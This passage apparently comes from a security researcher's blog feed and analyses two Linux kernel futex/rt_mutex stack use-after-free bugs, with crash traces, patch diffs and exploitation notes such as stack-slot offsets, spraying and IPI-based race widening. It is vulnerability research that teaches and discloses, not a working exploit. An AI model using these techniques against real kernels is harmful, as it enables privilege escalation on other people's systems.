<span class="n">rt_mutex_dequeue</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">);</span>
<span class="n">waiter_task</span><span class="o">-&gt;</span><span class="n">pi_blocked_on</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">raw_spin_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">waiter_task</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">);</span>
</code></pre></div></div>

<hr />

<h2 id="gaining-primitives">Gaining primitives</h2>

<p><code class="language-plaintext highlighter-rouge">pi_blocked_on</code> is read by anything that walks the PI chain through Waiter.</p>

<p>The most direct consumer is <code class="language-plaintext highlighter-rouge">task_blocked_on_lock</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="o">*</span><span class="nf">task_blocked_on_lock</span><span class="p">(</span><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">pi_blocked_on</span> <span class="o">?</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">pi_blocked_on</span><span class="o">-&gt;</span><span class="n">lock</span> <span class="o">:</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Called from <code class="language-plaintext highlighter-rouge">task_blocks_on_rt_mutex</code> and <code class="language-plaintext highlighter-rouge">rt_mutex_adjust_prio_chain</code>. 
Everytime some new task (<code class="language-plaintext highlighter-rouge">Probe</code>) blocks on a rt_mutex whose owner is Waiter, the chain walk reads
<code class="language-plaintext highlighter-rouge">Waiter-&gt;pi_blocked_on-&gt;lock</code> to figure out where to walk next. That’s the use-after-free read.</p>

<pre><code class="language-mermaid">sequenceDiagram
    participant P as Probe (new blocker)
    participant K as Kernel (chain walk)
    participant W as Waiter (stale pi_blocked_on)

    P-&gt;&gt;K: FUTEX_LOCK_PI on a lock Waiter owns
    K-&gt;&gt;K: task_blocks_on_rt_mutex → walk the PI chain
    K-&gt;&gt;W: owner is Waiter → task_blocked_on_lock(Waiter)
    Note over W: read Waiter-&gt;pi_blocked_on-&gt;lock&lt;br/&gt;pi_blocked_on dangles into Waiter's freed stack slot
    W--&gt;&gt;K: returns attacker-controlled next_lock
    Note over K: chain walk follows the fake rt_mutex
</code></pre>

<p>We can spray and grab this object. 
When Waiter returns, the stack rewinds without zeroing any variable. Waiter’s next syscall starts from the same stack top and depending on the syscall, the
scratch space in that new frame overlaps the old <code class="language-plaintext highlighter-rouge">rt_waiter</code> slot with bytes the user supplies.</p>

<p>On a 6.6.138 build (<code class="language-plaintext highlighter-rouge">CONFIG_INIT_STACK_ALL_ZERO=y</code>, <code class="language-plaintext highlighter-rouge">CONFIG_VMAP_STACK=n</code>), the <code class="language-plaintext highlighter-rouge">lock</code> field of the on-stack <code class="language-plaintext highlighter-rouge">rt_waiter</code> lands at a fixed offset: <code class="language-plaintext highlighter-rouge">THREAD_TOP - 0x208</code>. The layout is deterministic per build.
I encourage you to shape your layout and land on this field, rest is up to you to continue :’)</p>

<p>I tested this on Qemu and on a Frankel device, here’s the panic I received on Qemu:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BUG: KASAN: wild-memory-access in do_raw_spin_trylock+0x69/0x120
Read of size 4 at addr 1ffff1100167efa3 by task poc/61
CPU: 0 PID: 61 Comm: poc Not tainted 6.6.138 #4
Call Trace:
 &lt;TASK&gt;
 kasan_report+0xd8/0x110
 kasan_check_range+0x105/0x1b0
 do_raw_spin_trylock+0x69/0x120
 ? task_blocks_on_rt_mutex.constprop.0.isra.0+0x29d/0xb10
 _raw_spin_trylock+0x19/0x70
 rt_mutex_adjust_prio_chain.isra.0+0x120/0x1640
 task_blocks_on_rt_mutex.constprop.0.isra.0+0x390/0xb10
 __rt_mutex_start_proxy_lock+0x61/0xa0
 futex_lock_pi+0x31f/0x5a0
 do_futex+0xa6/0x230
 __x64_sys_futex+0x1b8/0x2b0
 do_syscall_64+0x39/0x90
 entry_SYSCALL_64_after_hwframe+0x78/0xe2
</code></pre></div></div>

<p>The call chain is exactly the chain walker reaching <code class="language-plaintext highlighter-rouge">Waiter-&gt;pi_blocked_on-&gt;lock-&gt;wait_lock</code>. 
KASAN flags it wild memory access because the freed-stack address has no shadow.</p>

<p>Same call chain on the non-KASAN build oopses at <code class="language-plaintext highlighter-rouge">_raw_spin_trylock</code> with the planted sentinel in the registers:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>general protection fault, probably for non-canonical address 0x4141414141414141: 0000 [#1] PREEMPT SMP NOPTI
RIP: 0010:_raw_spin_trylock+0x10/0x50
RAX: 0000000000000078 RBX: ffff888043211040 RCX: 4141414141414141
RDX: 0000000000000001 RSI: 0000000000000400 RDI: 4141414141414141
R15: 4141414141414141
 rt_mutex_adjust_prio_chain+0x9a/0x8f0
 task_blocks_on_rt_mutex.constprop.0+0x1c4/0x3c0
 __rt_mutex_start_proxy_lock+0x4d/0x70
 futex_lock_pi+0x25d/0x480
</code></pre></div></div>

<hr />

<h2 id="unusual-primitive-ideas">Unusual primitive ideas</h2>

<p>The web is filled with a few <code class="language-plaintext highlighter-rouge">rt_mutex_base</code> exploitation techniques,  these are my thoughts. 
<code class="language-plaintext highlighter-rouge">rt_mutex_base</code> looks as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="p">{</span>
    <span class="n">raw_spinlock_t</span>  <span class="n">wait_lock</span><span class="p">;</span>   <span class="cm">/* offset 0 */</span>
    <span class="k">struct</span> <span class="n">rb_root_cached</span> <span class="n">waiters</span><span class="p">;</span> <span class="cm">/* offset 8..23 */</span>
    <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">owner</span><span class="p">;</span>   <span class="cm">/* offset 24 */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>If the chunk’s first 4 bytes are zero (looks like an unlocked spinlock), the trylock succeeds and the walk proceeds reads <code class="language-plaintext highlighter-rouge">waiters</code> (rb tree), reads <code class="language-plaintext highlighter-rouge">owner</code> (next task to walk into). 
If they’re non-zero, trylock fails and the walk exits cleanly.
If the address is unmapped, Probe (the task triggering the chain walk) takes a page fault, oopses, you die.</p>

<hr />

<h2 id="the-fix">The fix</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> static void __sched remove_waiter(struct rt_mutex_base *lock,
                                   struct rt_mutex_waiter *waiter)
 {
<span class="gi">+    struct task_struct *waiter_task = waiter-&gt;task;
</span>     bool is_top_waiter = (waiter == rt_mutex_top_waiter(lock));
     struct task_struct *owner = rt_mutex_owner(lock);
     struct rt_mutex_base *next_lock;

     lockdep_assert_held(&amp;lock-&gt;wait_lock);

-    raw_spin_lock(&amp;current-&gt;pi_lock);
<span class="gi">+    raw_spin_lock(&amp;waiter_task-&gt;pi_lock);
</span>     rt_mutex_dequeue(lock, waiter);
<span class="gd">-    current-&gt;pi_blocked_on = NULL;
-    raw_spin_unlock(&amp;current-&gt;pi_lock);
</span><span class="gi">+    waiter_task-&gt;pi_blocked_on = NULL;
+    raw_spin_unlock(&amp;waiter_task-&gt;pi_lock);
</span>     ...
 }
</code></pre></div></div>

<hr />

<h2 id="conclusions">Conclusions</h2>

<p>This is a very rare and interesting bug imo, a helper gets written first for the obvious caller, where “the task we’re operating on” and <code class="language-plaintext highlighter-rouge">current</code> happen to
coincide. Later someone adds a proxy callsite a function that does the operation on behalf of <em>someone else</em> and the helper keeps reaching for <code class="language-plaintext highlighter-rouge">current</code> because nobody
flagged it. Lockdep is happy: it cares about the spinlock, not whose <code class="language-plaintext highlighter-rouge">pi_lock</code> it actually is. The function still does <em>something</em> when called, and
on the slowlock path that something is correct. It’s only on the proxy path that the wrong <code class="language-plaintext highlighter-rouge">pi_lock</code> and the wrong <code class="language-plaintext highlighter-rouge">pi_blocked_on</code> quietly get written.</p>

<p>The previous bug in this same neighborhood the missing <code class="language-plaintext highlighter-rouge">READ_ONCE(q-&gt;task)</code> in <code class="language-plaintext highlighter-rouge">requeue_pi_wake_futex</code> was the same family. There “the task that owns the <code class="language-plaintext highlighter-rouge">q</code>” was
conflated with “the task currently reading <code class="language-plaintext highlighter-rouge">q</code>”. Here it’s “the task we’re cleaning up after” conflated with “current”. Both load assumptions, both invisible until you
ask the question explicitly.</p>

<p>I find this bug pretty unusual and novel, to whoever managed to exploit this reliably :’) Identifying the confused <code class="language-plaintext highlighter-rouge">current</code> in such a complex environment and triggering
this path to grab the object and reach an arbitrary read and write is novel to me.</p>

<p>If anyone takes it further I’d love to hear your opinion about this bug.
I hope you enjoyed this post.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[This post describes a stack uaf in the Linux futex subsystem, sitting in the code since 2011 and patched in April 2026. It allowed any adversary with an untrusted SELinux context to elevate privileges with the right magic. I did not reach code execution with it, I only managed to trigger it and shared my thoughts on the journey, I hope you’d like it.]]></summary></entry><entry><title type="html">The futex READ_ONCE</title><link href="https://guysrd.github.io/futex-read-once" rel="alternate" type="text/html" title="The futex READ_ONCE" /><published>2026-06-04T00:00:00+00:00</published><updated>2026-06-04T00:00:00+00:00</updated><id>https://guysrd.github.io/futex-read-once</id><content type="html" xml:base="https://guysrd.github.io/futex-read-once"><![CDATA[<p>A futex is a 32b integer in userspace memory. Uncontended operations are pure userspace atomic ops the kernel is only involved when someone needs to sleep or wake up. PI futexes add priority inheritance, futex word stores the owner’s TID, and the kernel boosts the holder’s priority when a higher priority thread is waiting.</p>

<p>If you’ve ever done pwnable.kr and worked on towelroot, you probably remember <code class="language-plaintext highlighter-rouge">FUTEX_CMP_REQUEUE_PI</code>. 
This is how <code class="language-plaintext highlighter-rouge">pthread_cond_signal</code> works under the hood. The <code class="language-plaintext highlighter-rouge">FUTEX_CMP_REQUEUE_PI</code> syscall takes two userspace addresses: <code class="language-plaintext highlighter-rouge">uaddr1</code> is the condition variable’s futex and <code class="language-plaintext highlighter-rouge">uaddr2</code> is the PI mutex’s futex. A waiter sleeps on <code class="language-plaintext highlighter-rouge">uaddr1</code> and when signaled the kernel moves it to the wait queue behind <code class="language-plaintext highlighter-rouge">uaddr2</code>. 
If the mutex is uncontested, the kernel can acquire it atomically on behalf of the waiter and skip the requeue entirely. 
That fast path “lock acquired atomically, just wake the waiter” is where the bug is.</p>

<p>It is very rare to see any bugs in this subsystem, having great maintainers like Thomas Gleixner that understand the mechanism
deep enough requires deep understanding of futex itself.
it took me months to dive into them and I sometime just gave up.</p>

<details style="font-size: 0.75rem; color: #888; margin-top: 0.5rem;">
<summary>LLM Technical summary</summary>

A stack use after free caused by a missing `READ_ONCE` in `requeue_pi_wake_futex` in the Linux kernel futex subsystem. The function signals the waiter via `futex_requeue_pi_complete(q, 1)` (atomic store) then reads `q-&gt;task` on the next line, but `q` is a `struct futex_q` on the waiter's kernel stack. After the atomic store the waiter can see the LOCKED state, skip PI fixup (because `q-&gt;pi_state` is NULL on the atomic trylock path), and return from its syscall before the requeuer reads `q-&gt;task`. The requeuer then dereferences a dead stack frame.

The race is one instruction wide. Triggerable from unprivileged userspace using TLB shootdown IPIs via `mprotect` on a third CPU to interrupt the requeuer between the atomic store and the pointer load. The waiter's next syscall can spray controlled data at the old `q-&gt;task` offset. `wake_up_state` calls `try_to_wake_up` on the fake `task_struct` pointer, which under the right field layout reaches `enqueue_task_fair` and performs `cfs_rq-&gt;load.weight += se-&gt;load.weight`, an 8 byte addition through a controlled pointer with a controlled value.

The fix adds `task = READ_ONCE(q-&gt;task)` before the `futex_requeue_pi_complete` store, capturing the pointer while the stack frame is still live.

</details>

<h2 id="the-bug">The bug</h2>

<p>Our post today focuses on a bug that is caused by a missing <code class="language-plaintext highlighter-rouge">READ_ONCE</code> in a function called <code class="language-plaintext highlighter-rouge">requeue_pi_wake_futex</code>, however, unlike classical use after free bugs that are on the heap our bug is caused by an esoteric state on the stack.</p>

<p>Here is what happens during a <code class="language-plaintext highlighter-rouge">pthread_cond_signal</code> with a PI mutex. 
Two threads are involved, a waiter and a requeuer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  waiter                                    requeuer
  ──────                                    ────────
  pthread_cond_wait(cond, mutex)
    futex(FUTEX_WAIT_REQUEUE_PI,
          cond, mutex)
      enqueue on cond's wait queue
      go to sleep, blocked in kernel
      ...                                   pthread_cond_signal(cond)
      ...                                     futex(FUTEX_CMP_REQUEUE_PI,
      ...                                           cond, mutex)
      ...                                       try to acquire mutex for waiter
      ...                                       if acquired:
      ...                                         requeue_pi_wake_futex(q)
      ...                                           signal waiter, wake it up
      wakes up, returns to userspace
</code></pre></div></div>

<p>The waiter is the thread that called <code class="language-plaintext highlighter-rouge">pthread_cond_wait</code>. It enters the kernel and goes to sleep on the condition variable’s futex. The requeuer is the thread that called <code class="language-plaintext highlighter-rouge">pthread_cond_signal</code>. It enters the kernel and tries to move the waiter onto the mutex. If the mutex is free the requeuer acquires it on behalf of the waiter and calls <code class="language-plaintext highlighter-rouge">requeue_pi_wake_futex</code> to let the waiter know.</p>

<p>The bug is in <code class="language-plaintext highlighter-rouge">requeue_pi_wake_futex</code> and hard to spot, <code class="language-plaintext highlighter-rouge">q</code> is a variable on the stack of the waiter’s call, 
it occurs exactly when you signal the waiter that the lock is acquired and then try to read from <code class="language-plaintext highlighter-rouge">q</code> on the next line but the waiter already saw the signal returned from its syscall and its stack frame is gone.
The function is called by the requeuer when the PI lock was acquired atomically on behalf of the waiter its job is to clean up the queue entry and wake the waiter
Given all this information, can you spot the bug? :’)</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * requeue_pi_wake_futex() - Wake a task that acquired the lock during requeue
 * @q:		the futex_q
 * @key:	the key of the requeue target futex
 * @hb:		the hash_bucket of the requeue target futex
 *
 * During futex_requeue, with requeue_pi=1, it is possible to acquire the
 * target futex if it is uncontended or via a lock steal.
 *
 * 1) Set @q::key to the requeue target futex key so the waiter can detect
 *    the wakeup on the right futex.
 *
 * 2) Dequeue @q from the hash bucket.
 *
 * 3) Set @q::rt_waiter to NULL so the woken up task can detect atomic lock
 *    acquisition.
 *
 * 4) Set the q-&gt;lock_ptr to the requeue target hb-&gt;lock for the case that
 *    the waiter has to fixup the pi state.
 *
 * 5) Complete the requeue state so the waiter can make progress. After
 *    this point the waiter task can return from the syscall immediately in
 *    case that the pi state does not have to be fixed up.
 *
 * 6) Wake the waiter task.
 *
 * Must be called with both q-&gt;lock_ptr and hb-&gt;lock held.
 */</span>
<span class="k">static</span> <span class="kr">inline</span>
<span class="kt">void</span> <span class="nf">requeue_pi_wake_futex</span><span class="p">(</span><span class="k">struct</span> <span class="n">futex_q</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="k">union</span> <span class="n">futex_key</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span>
			   <span class="k">struct</span> <span class="n">futex_hash_bucket</span> <span class="o">*</span><span class="n">hb</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">q</span><span class="o">-&gt;</span><span class="n">key</span> <span class="o">=</span> <span class="o">*</span><span class="n">key</span><span class="p">;</span>

	<span class="n">__futex_unqueue</span><span class="p">(</span><span class="n">q</span><span class="p">);</span>

	<span class="n">WARN_ON</span><span class="p">(</span><span class="o">!</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">rt_waiter</span><span class="p">);</span>
	<span class="n">q</span><span class="o">-&gt;</span><span class="n">rt_waiter</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="n">q</span><span class="o">-&gt;</span><span class="n">lock_ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">hb</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">;</span>

	<span class="cm">/* Signal locked state to the waiter */</span>
	<span class="n">futex_requeue_pi_complete</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
	<span class="n">wake_up_state</span><span class="p">(</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">task</span><span class="p">,</span> <span class="n">TASK_NORMAL</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>

<p>If you did not find it, that’s OK. This isn’t a classical allocate, free, use bug pattern. There is no <code class="language-plaintext highlighter-rouge">kmalloc</code> here or <code class="language-plaintext highlighter-rouge">kfree</code> at all.</p>

<p>CPU1 (the requeuer) is running <code class="language-plaintext highlighter-rouge">requeue_pi_wake_futex</code>. CPU0 (the waiter) called <code class="language-plaintext highlighter-rouge">futex_wait_requeue_pi</code> and is blocked in the kernel waiting for someone to signal it, with <code class="language-plaintext highlighter-rouge">struct futex_q q</code> declared as a local variable on its kernel stack.</p>
<ol>
  <li>
    <p><code class="language-plaintext highlighter-rouge">q-&gt;key = *key</code> the requeuer overwrites the waiter’s futex key to point at the requeue target (<code class="language-plaintext highlighter-rouge">uaddr2</code>) instead of the original condition variable (<code class="language-plaintext highlighter-rouge">uaddr1</code>). When the waiter eventually wakes up it checks this key to know which futex it was moved to.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">__futex_unqueue(q)</code> removes <code class="language-plaintext highlighter-rouge">q</code> from the hash bucket’s wait queue. After this no other <code class="language-plaintext highlighter-rouge">futex_wake</code> call can find this waiter. It’s the requeuer’s responsibility to wake it.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">q-&gt;rt_waiter = NULL</code> clears the RT waiter pointer. The waiter checks this field when it wakes up, if it’s NULL the waiter knows the lock was acquired atomically and there’s no <code class="language-plaintext highlighter-rouge">rt_mutex_waiter</code> to clean up.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">q-&gt;lock_ptr = &amp;hb-&gt;lock</code> points the waiter’s lock pointer at the target hash bucket’s lock. If the waiter needs to do PI state fixup later it will take this lock to serialize with the requeuer.
 The waiter is still asleep through all of this. These four steps are safe.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">futex_requeue_pi_complete(q, 1)</code> is an atomic store that sets <code class="language-plaintext highlighter-rouge">q-&gt;requeue_state = Q_REQUEUE_PI_LOCKED</code>. 
The waiter on CPU0 is spinning on that field with <code class="language-plaintext highlighter-rouge">atomic_cond_read_relaxed</code>. The moment it sees LOCKED it can proceed. The comment in the source says it plainly: “After this point the waiter task can return from the syscall immediately.”</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">wake_up_state(q-&gt;task, TASK_NORMAL)</code> the requeuer reads <code class="language-plaintext highlighter-rouge">q-&gt;task</code> and wakes the task.</p>
  </li>
</ol>

<p>Now read step 5 and step 6 again :’)
Step 5 tells the waiter “you have the lock” with an atomic store. 
The waiter on CPU0 is spinning on that field, the moment it sees LOCKED it can return from its syscall. 
Step 6 reads <code class="language-plaintext highlighter-rouge">q-&gt;task</code> but <code class="language-plaintext highlighter-rouge">q</code> lives on the WAITER’s kernel stack and if the waiter already returned that stack frame is gone the requeuer is reading from an unknown memory. Boom.</p>

<hr />

<h2 id="the-fast-return-path">The fast return path</h2>

<p>The previous section showed the requeuer’s side what <code class="language-plaintext highlighter-rouge">requeue_pi_wake_futex</code> does, but this is only part of the magic,
Why can the waiter return so fast that it beats the requeuer to step 6?</p>

<p>The race only works because the waiter can return <em>without acquiring any locks</em> this happens when <code class="language-plaintext highlighter-rouge">q-&gt;pi_state</code> is NULL.</p>

<p>The requeuer calls <code class="language-plaintext highlighter-rouge">futex_requeue_pi_prepare(top_waiter, NULL)</code> NULL because this is the atomic trylock path, no <code class="language-plaintext highlighter-rouge">pi_state</code> was created. When the waiter sees LOCKED:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="n">Q_REQUEUE_PI_LOCKED</span><span class="p">:</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">pi_state</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">pi_state</span><span class="o">-&gt;</span><span class="n">owner</span> <span class="o">!=</span> <span class="n">current</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">spin_lock</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">lock_ptr</span><span class="p">);</span>        <span class="c1">// would serialize with requeuer</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">fixup_pi_owner</span><span class="p">(</span><span class="n">uaddr2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">q</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
        <span class="n">put_pi_state</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">pi_state</span><span class="p">);</span>
        <span class="n">spin_unlock</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">lock_ptr</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">pi_state</code> is NULL. The entire block is skipped. The waiter cancels its timer and returns.</p>

<hr />

<h2 id="the-race">The race</h2>

<p>So now we have a clear understanding of the bug itself in both the requeuer and the waiter, here is what actually happens with 2 CPUs.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CPU0 (waiter)                          CPU1 (requeuer)
──────────────                          ────────────────
futex_wait_requeue_pi():
  struct futex_q q;       ← ON STACK
  q.task = current;
  enqueue on uaddr1, sleep
                                        futex_requeue():
                                          lock both hash buckets
                                          futex_proxy_trylock_atomic()
                                            requeue_pi_prepare(q, NULL)
                                              q-&gt;pi_state = NULL
  *timeout fires*
  sees IN_PROGRESS → WAIT
  spins on requeue_state
                                            PI lock acquired (ret=1)
                                          requeue_pi_wake_futex(q):
                                            unqueue, clear rt_waiter
                                            requeue_pi_complete(q, 1)
                                              → atomic store: LOCKED
  sees LOCKED, exits spin             ←───┘
  pi_state == NULL → skip fixup
  hrtimer_cancel, return
  ← stack frame gone →                   wake_up_state(q-&gt;task, TASK_NORMAL)
                                                        ↑
                                          reading from a dead stack frame
</code></pre></div></div>

<p>On ARM64, the waiter’s spinloop uses <code class="language-plaintext highlighter-rouge">atomic_cond_read_relaxed</code>, which compiles to a <code class="language-plaintext highlighter-rouge">WFE</code> (Wait For Event) loop. 
When the requeuer’s atomic store fires an exclusive monitor event, the waiter wakes within 1-3 cycles. Tight af, but the requeuer’s very next instruction is <code class="language-plaintext highlighter-rouge">ldr</code> of <code class="language-plaintext highlighter-rouge">q-&gt;task</code> also fast.</p>

<hr />

<h2 id="winning-the-race">Winning the race</h2>

<p>The race is one instruction wide, that is tight af. You need an interrupt on the requeuer’s CPU between the atomic store and the pointer load. 
That buys you 1-10 microseconds of delay more than enough for the waiter to return and free the stack.</p>

<p>The standard trick from unprivileged userspace is a TLB shootdown IPI. 
A third thread on a third CPU calls <code class="language-plaintext highlighter-rouge">mprotect</code> on a shared mapping in a tight loop. 
Each <code class="language-plaintext highlighter-rouge">mprotect</code> sends an IPI to every CPU that has the page in its TLB. 
If the requeuer’s CPU has it cached, it takes the interrupt. Most calls miss the one-instruction window, but eventually you manage to win the race.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  waiter sleeping            waiter returned             spray
  ┌──────────────────┐       ┌──────────────────┐       ┌──────────────────┐
  │futex_wait_requeue│       │  (returned)       │       │                  │
  │                  │       │                   │       │                  │
  │ struct futex_q   │       │ struct futex_q    │       │ spray data       │
  │  q.task = current│ ───→  │  q.task = stale   │ ───→  │  fake task_struct*│
  │                  │       │                   │       │                  │
  │ rt_waiter        │       │ garbage           │       │ controlled       │
  │ timeout          │       │ garbage           │       │ controlled       │
  └──────────────────┘       └──────────────────┘       └──────────────────┘
  q is alive                 q is dead                   old q.task overwritten
  requeuer can read          data still in memory         requeuer reads fake ptr

  ─────────────────────────────────────────────────────────────────────────→
  requeuer: complete(q,1)    requeuer: INTERRUPTED        requeuer: wake_up_state(q-&gt;task)
                             ← interrupt window: 1-10μs →
</code></pre></div></div>

<p>However, when the interrupt lands the dead stack frame still contains the <strong>original valid</strong> <code class="language-plaintext highlighter-rouge">q-&gt;task</code> value <code class="language-plaintext highlighter-rouge">current</code>, set by <code class="language-plaintext highlighter-rouge">__futex_queue</code> when the waiter first enqueued. 
If the requeuer reads that <code class="language-plaintext highlighter-rouge">wake_up_state</code> just wakes the waiter again.</p>

<p>To actually do something useful, the waiter needs to overwrite its own dead stack frame before the requeuer reads it. 
The waiter returns from the syscall and comes back to userspace and immediately starts spraying for objects, 
if the spray succeeds it we land on <code class="language-plaintext highlighter-rouge">task_struct*</code> at the old <code class="language-plaintext highlighter-rouge">q-&gt;task</code> offset before the requeuer’s interrupt handler return you win (this was proven by Lu  NDSS 2017).</p>

<p>The insight is that kernel stack data persists after a syscall returns the next syscall on the same thread reuses the same physical stack pages. 
By profiling which syscalls write user controlled data at which stack depths, you build a map of what you can control. 
Lu’s success said 91% coverage of the top 1KB with the right syscall selection, 
actual numbers can vary depending on the model you work on.</p>

<p>Do remember, you still need an infoleak.</p>

<hr />

<h2 id="try_to_wake_up-internals">try_to_wake_up internals</h2>

<p><code class="language-plaintext highlighter-rouge">wake_up_state</code> calls <code class="language-plaintext highlighter-rouge">try_to_wake_up(p, TASK_NORMAL, 0)</code> where <code class="language-plaintext highlighter-rouge">p</code> is now your fake pointer. 
Here’s what the kernel does with it (from <code class="language-plaintext highlighter-rouge">kernel/sched/core.c</code>):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">try_to_wake_up</span><span class="p">(</span><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">state</span><span class="p">,</span> <span class="kt">int</span> <span class="n">wake_flags</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">guard</span><span class="p">(</span><span class="n">preempt</span><span class="p">)();</span>
	<span class="kt">int</span> <span class="n">cpu</span><span class="p">,</span> <span class="n">success</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">==</span> <span class="n">current</span><span class="p">)</span> <span class="p">{</span>
		<span class="p">...</span>
	<span class="p">}</span>

	<span class="n">scoped_guard</span> <span class="p">(</span><span class="n">raw_spinlock_irqsave</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">smp_mb__after_spinlock</span><span class="p">();</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ttwu_state_match</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">state</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">success</span><span class="p">))</span>
			<span class="k">break</span><span class="p">;</span>

		<span class="n">smp_rmb</span><span class="p">();</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">READ_ONCE</span><span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">on_rq</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">ttwu_runnable</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">wake_flags</span><span class="p">))</span>
			<span class="k">break</span><span class="p">;</span>

		<span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">__state</span><span class="p">,</span> <span class="n">TASK_WAKING</span><span class="p">);</span>

		<span class="n">smp_cond_load_acquire</span><span class="p">(</span><span class="o">&amp;</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">on_cpu</span><span class="p">,</span> <span class="o">!</span><span class="n">VAL</span><span class="p">);</span>

		<span class="n">cpu</span> <span class="o">=</span> <span class="n">select_task_rq</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">wake_cpu</span><span class="p">,</span> <span class="n">wake_flags</span> <span class="o">|</span> <span class="n">WF_TTWU</span><span class="p">);</span>
		<span class="p">...</span>
		<span class="n">ttwu_queue</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">cpu</span><span class="p">,</span> <span class="n">wake_flags</span><span class="p">);</span>
	<span class="p">}</span>  <span class="c1">// ← scoped_guard: raw_spin_unlock_irqrestore(&amp;p-&gt;pi_lock)</span>
	<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>What is interesting here is something I watched being committed but never used, the kernel finally has a somewhat close ability to scope lifetime of objects, <code class="language-plaintext highlighter-rouge">scoped_guard</code> is a lock guard introduced by Peter Zijlstra in kernel in 2023.
It uses gcc’s <code class="language-plaintext highlighter-rouge">__attribute__((cleanup))</code> to automatically release a lock when execution leaves the block, just like RAII in C++  :’) who would have thought such things exist in the kernel.
For <code class="language-plaintext highlighter-rouge">raw_spinlock_irqsave</code> it expands to:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// defined in include/linux/spinlock.h</span>
<span class="n">DEFINE_LOCK_GUARD_1</span><span class="p">(</span><span class="n">raw_spinlock_irqsave</span><span class="p">,</span> <span class="n">raw_spinlock_t</span><span class="p">,</span>
		    <span class="n">raw_spin_lock_irqsave</span><span class="p">(</span><span class="n">_T</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">_T</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">),</span>
